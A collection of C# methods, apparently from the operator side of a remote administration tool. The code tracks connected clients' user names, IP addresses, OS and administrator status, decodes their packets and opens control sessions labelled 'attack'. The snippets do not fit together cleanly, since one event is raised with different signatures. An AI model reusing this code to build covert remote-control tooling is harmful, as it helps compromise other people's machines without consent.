private static void OnTaskStatusChanged(ServerTask serverTask) { if (serverTask.Status == ServerTask.TaskStatus.Finished) { RemoveTask(serverTask); } var taskCopy = (ServerTask)serverTask.FlatCopy(); TasksListChanged?.Invoke(Tasks); TasksStatusChanged?.Invoke(taskCopy); ClientListChanged?.Invoke(LoggedClients); }
private void ConnectClient(OnlineClientInformation clientInformation) { var existingClient = Clients.FirstOrDefault(x => x.Id == clientInformation.Id); var clientInfo = new LightClientInformationApp { Id = clientInformation.Id, UserName = clientInformation.UserName, OsType = clientInformation.OsType, ApiVersion = clientInformation.ApiVersion, IsAdministrator = clientInformation.IsAdministrator, IsServiceRunning = clientInformation.IsServiceRunning, IpAddress = clientInformation.IpAddress, OnlineSince = clientInformation.OnlineSince, Language = clientInformation.Language, IsOnline = clientInformation.IsOnline, Group = clientInformation.Group, OsName = clientInformation.OsName }; if (existingClient == null) { Clients.Add(clientInfo); } else { Clients[Clients.IndexOf(existingClient)] = clientInfo; } if (ClientListChanged != null) { ClientListChanged.Invoke(this, EventArgs.Empty); } if (ClientConnected != null) { ClientConnected.Invoke(this, clientInformation); } }
private void EndRead(IAsyncResult asyncResult) { try { var parameter = _readByteDelegate.EndInvoke(asyncResult); var size = Sender.BinaryReader.ReadInt32(); var bytes = Sender.BinaryReader.ReadBytes(size); switch ((FromClientPackage)parameter) { case FromClientPackage.ResponseToAdministration: case FromClientPackage.ResponseToAdministrationCompressed: var data = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed ? LZF.Decompress(bytes, 1) : bytes.Skip(1).ToArray(); if (CurrentController != null) { CurrentController.PackageReceived(bytes[0], data); } break; case FromClientPackage.ResponseLoginOpen: var clientId = BitConverter.ToInt32(bytes, 0); var client = Clients.FirstOrDefault(x => x.Id == clientId); if (client == null) { break; } CurrentController = new ClientController(client, _tcpClient, Sender); if (AttackOpened != null) { AttackOpened.Invoke(this, EventArgs.Empty); } break; case FromClientPackage.NewClientConnected: lock (_clientListLock) { ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes)); } break; case FromClientPackage.ClientConnected: lock (_clientListLock) { ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes)); } break; case FromClientPackage.ClientDisconnected: lock (_clientListLock) { var disconnectedClientId = BitConverter.ToInt32(bytes, 0); var disconnectedClient = Clients .FirstOrDefault(x => x.Id == disconnectedClientId); if (disconnectedClient == null) { break; } if (CurrentController != null && CurrentController.Client == disconnectedClient) { CurrentController.Dispose(); CurrentController = null; } Clients.Remove(disconnectedClient); if (ClientListChanged != null) { ClientListChanged.Invoke(this, EventArgs.Empty); } if (ClientDisconnected != null) { ClientDisconnected.Invoke(this, disconnectedClient); } } break; case FromClientPackage.DataTransferProtocolResponse: DataTransferProtocolFactory.Receive(bytes); break; default: break; } _readByteDelegate.BeginInvoke(EndRead, null); } catch (Exception) { Dispose(); if (Disconnected != null) { Disconnected.Invoke(this, EventArgs.Empty); } } }
private void OnClientCollectionChanged(object sender, NotifyCollectionChangedEventArgs args) { ClientListChanged?.Invoke(this, args); }